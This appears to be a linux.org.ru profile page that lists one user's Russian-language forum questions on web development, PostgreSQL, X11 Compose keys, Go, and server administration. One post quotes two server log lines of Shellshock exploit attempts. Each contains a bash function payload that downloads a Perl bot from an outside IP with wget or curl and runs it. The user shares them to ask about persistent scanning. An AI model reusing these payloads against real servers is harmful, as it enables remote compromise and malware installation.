LINUX.ORG.RU

Сообщения coldheadcleanhands

 

IP-камеры с живым HTML5 потоком

Форум — General

Здесь пишут, что производители IP-камер постепенно отказываются от использования плагинов и добавляют поддержку HTML5:

https://ipvm.com/reports/surveillance-browser-support-2019?code=ipc (http://archive.md/IsK2x)

А вы уже встречали камеры, с которыми можно просто подставить некий URL в <video src=""> и наслаждаться? Какие?

 ,

coldheadcleanhands
()

Длинный пустой промежуток до первой отрисовки

Форум — Web-development

Картинка, нарисованная sitespeed.io: https://i.imgur.com/KxmC573.png

Что делает браузер до того, как начнет загружать woff2 шрифт, а потом отрисовывать страницу? Почему получается такое большое время до first contentful paint (400-500 ms)?

 ,

coldheadcleanhands
()

Стилизация ячеек таблиц (БЭМ и иже с ним)

Форум — Web-development

Как, согласно БЭМ, кошернее задавать стили элементов td:

  1. .my-table-class td { border: ... }

или

  1. Натянуть на каждый td класс, а потом .my-td-class { border: ... }

?

Второе, по идее, правильнее, но видится несколько избыточным, если нужно стилизовать именно все-все td.

 

coldheadcleanhands
()

Кавычки-«ёлочки» без переключения на английскую раскладку

Форум — General

Compose+<< и Compose+>> в русской раскладке дают Б и Ю, кавычки не получаются. Пробовал добавлять к Compose-последовательностям

$ grep [«»] /usr/share/X11/locale/en_US.UTF-8/Compose 
<Multi_key> <less> <less>               : "«"   guillemotleft # LEFT-POINTING DOUBLE ANGLE QUOTATION MARK
<Multi_key> <greater> <greater>         : "»"   guillemotright # RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK


такие:

<Multi_key> <Cyrillic_BE> <Cyrillic_BE>       : "«"   guillemotleft
<Multi_key> <Cyrillic_YU> <Cyrillic_YU>       : "»"   guillemotright


(перед : - TAB, как в существующих строках) - не работает, выводятся Б и Ю.

Как лечить?

 

coldheadcleanhands
()

Опрос пользователей языка Go

Форум — Talks

https://blog.golang.org/survey2016

Проект Go нуждается в вас! Наша цель – создать лучший язык для разработки простого, надёжного и масштабируемого программного обеспечения. Пожалуйста, уделите 20 минут нашему опросу. А если можете назвать причины, по которым ваша компания начала использовать Go, ответьте также на вопросник для компаний.

Перемещено tailgunner из development

 

coldheadcleanhands
()

Go-викторина

Форум — Development

 

coldheadcleanhands
()

cal в Debian Jessie первым днем недели считает воскресенье

Форум — General
$ cal
      Май 2015        
Вс Пн Вт Ср Чт Пт Сб  
                1  2  
 3  4  5  6  7  8  9  
10 11 12 13 14 15 16  
17 18 19 20 21 22 23  
24 25 26 27 28 29 30  
31                    

$ locale
LANG=ru_RU.UTF-8
LANGUAGE=
LC_CTYPE="ru_RU.UTF-8"
LC_NUMERIC="ru_RU.UTF-8"
LC_TIME="ru_RU.UTF-8"
LC_COLLATE="ru_RU.UTF-8"
LC_MONETARY="ru_RU.UTF-8"
LC_MESSAGES="ru_RU.UTF-8"
LC_PAPER="ru_RU.UTF-8"
LC_NAME="ru_RU.UTF-8"
LC_ADDRESS="ru_RU.UTF-8"
LC_TELEPHONE="ru_RU.UTF-8"
LC_MEASUREMENT="ru_RU.UTF-8"
LC_IDENTIFICATION="ru_RU.UTF-8"
LC_ALL=

Может кто-нибудь подтвердить баг?

 

coldheadcleanhands
()

Форматтеры и линтеры для PHP?

Форум — Development

Как сейчас принято форматировать код на PHP? Есть какой-нибудь общепринятый кодинг стайл? Какие есть утилиты командной строки для форматирования файлов?

Какие есть линтеры для PHP? Статические чекеры?

 

coldheadcleanhands
()

Можно ли увидеть то, что развидено?

Форум — Web-development

Один из элементов DOM остаётся в FF невидимым, что бы я ни делал. FF откуда-то взял, что размеры элемента отрицательны:

http://i.imgur.com/kvhZiqu.png

Если выключить в Firebug padding, получается -2 x -2.

В чём дело и как вылечить? Добавление в Firebug свойств width: 100px !important; height: 100px !important; min-width: 100px !important; min-height: 100px !important; ни на что не влияет. Как ни крутил другие свойства, элемент всё одно невидим.

Не баг ли это? Iceweasel 31.0, то же самое наблюдалось в более поздних версиях FF (не ребрендингах).

 

coldheadcleanhands
()

MD5 в PostgreSQL

Форум — Security

By default, database user passwords are stored as MD5 hashes

http://www.postgresql.org/docs/9.4/static/encryption-options.html

Они упрлс? Как заменить MD5 на что-либо более вменяемое, вроде bcrypt или scrypt?

 

coldheadcleanhands
()

Вы обнаружили, что Google сообщает о подозрительной активности

Форум — Security

Вы решили найти что-либо в Google, а тот вывел капчу и сообщил о подозрительной активности с вашего IP-адреса.

Ваши действия?

 

coldheadcleanhands
()

Преимущества memcached перед redis?

Форум — Development

Есть ли у memcached какие-либо преимущества перед Redis?

 ,

coldheadcleanhands
()

Shellslowpok

Форум — Admin

Почему боты продолжают наседать? Неужели где-то еще остались слоупоки, у которых не попатчен shellshock?

94.228.215.83 - - [16/Jan/2015:20:38:07 +0000] "GET /cgi-bin/help.cgi HTTP/1.0" 403 168 "-" "() { :;}; /bin/bash -c \x22cd /var/tmp;wget http://185.28.190.69/mc;curl -O http://185.28.190.69/mc;perl mc;perl /var/tmp/mc\x22"

217.114.212.26 - - [16/Jan/2015:17:14:53 +0000] "GET /phppath/cgi_wrapper HTTP/1.0" 403 168 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESSX\x22;system(\x22wget http://74.208.166.12/bot.txt -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\x22);'"

 

coldheadcleanhands
()

Легкая проверялка почты в трей

Форум — Desktop

Нужна программа, которая будет сидеть в трее, периодически проверять почту на GMail и рапортовать, если таковая появится. Больше никаких функций не надо. Есть mail-client/mail-notification, но она тащит за собой половину гнома. Посоветуйте что-нибудь другое.

P. S. эта mail-notification к тому же и не работает. При сборке пишет, что gmail включен, а в настройках при выборе типа ящика gmail не появляется.

 

coldheadcleanhands
()

Полнотекстовый поиск в postgres

Форум — Development

В postgres есть

1) возможность полнотекстового поиска с учетом морфологии - оператор @@; @@ не умеет искать произвольную подстроку;

2) оператор LIKE. LIKE может искать произвольную подстроку, но поиск неиндексированный и, следовательно, медленный.

А есть ли некий гибрид этих вариантов? Индексированный поиск подстроки, без морфологии, как есть?

 

coldheadcleanhands
()

Недорогие вменяемые регистраторы (не в зоне .ru)

Форум — Admin

Нужен домен второго уровня. Забугорный, без паспорта и смс. И желательно, чтобы не угнали, когда станет популярным. Какие есть варианты?

 

coldheadcleanhands
()

Какой формат логов вы используете в своих веб-приложениях?

Форум — Web-development

Какой формат логов вы используете в своих веб-приложениях для логирования доступа, некорректных данных, пришедших от (возможно злоумышленного) пользователя, отказов в логине из-за неверного имени/пароля, и т.д?

Мне видится что-то такое:

time=20141222000000 action=login name=user ip=8.8.8.8 result=success
time=20141222000001 action=login name=admin ip=9.9.9.9 result=fail code=401
User-Agent: ...
Cookie: ...
X-Other-Header: ...
(другие заголовки)
time=20141222000002 action=get_user_info name=anonymous ip=1.1.1.1 result=fail cause="not logged in"
(заголовки запроса)
time=20141222000003 action=create_post name=user ip=1.2.3.4 result=fail cause="csrf error"
(заголовки запроса)

Есть какие-нибудь стандарты на этот счет, чтобы не изобретать велосипед?

 ,

coldheadcleanhands
()

Проектирование БД для модели контроля доступа

Форум — Development

Допустим, имеются объекты, к которым надо ограничивать доступ, набор ролей (которые могут быть привязаны к конкретному объекту или быть общими), и разрешения доступа пары роль-объект к её объекту.

Приведу пример:

Объекты: блогопост №1, блогопост №2, и т.д.

Роли: аноним, читатель, редактор, модератор. (Читатель, редактор и модератор должны быть привязаны к блогопосту.)

Разрешения для первого блогопоста (не фиксированные, могут быть свои для каждого объекта, плюс нужна возможность менять их):

  1. Аноним может читать блогопост №1.
  2. Читатель-бп1 может читать блогопост №1 и оставлять комментарии.
  3. Редактор-бп1 может читать и редактировать блогопост №1.
  4. Модератор-бп1 может читать, редактировать блогопост №1, а также редактировать и удалять комментарии.

Разрешения для второго блогопоста:

  • Аноним НЕ может читать блогопост №2.
  • Читатель-бп2 может читать блогопост №2.
  • Редактор-бп2 может читать и редактировать блогопост №2.
  • Модератор-бп2 может читать блогопост №2, а также удалять комментарии.

Как такую модель выразить в БД? Есть где-нибудь реализация похожей модели? Как разрешать конфликты (например, пользователь одновременно читатель и редактор блогопоста №1. Может ли он редактировать пост?)?

 

coldheadcleanhands
()

Где взять SSL-сертификат без регистрации и смс?

Форум — General

Сабж. Нужен SSL-сертификат для домена третьего уровня. Желания указывать личные данные (чего требуют всякие startssl) нет.

 

coldheadcleanhands
()

RSS подписка на новые темы